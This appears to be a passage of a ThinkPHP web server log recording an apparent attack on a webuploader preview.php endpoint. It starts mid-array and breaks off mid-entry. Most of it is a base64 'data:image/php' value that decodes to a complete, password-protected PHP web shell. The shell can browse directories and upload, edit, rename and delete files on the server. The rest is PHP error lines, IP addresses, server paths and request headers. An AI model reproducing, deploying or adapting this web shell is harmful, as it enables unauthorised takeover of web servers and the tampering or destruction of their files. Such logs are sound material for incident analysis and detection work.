'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'default' => 'Public', 'Hui' => 'lib', 'webuploader' => '0.1.15', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T02:19:45+08:00 ] 116.213.36.234 POST 59.110.137.245/services/cepingka/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002740s] [吞吐率:364.98req/s] [内存消耗:196.91kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'services', 2 => 'cepingka', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 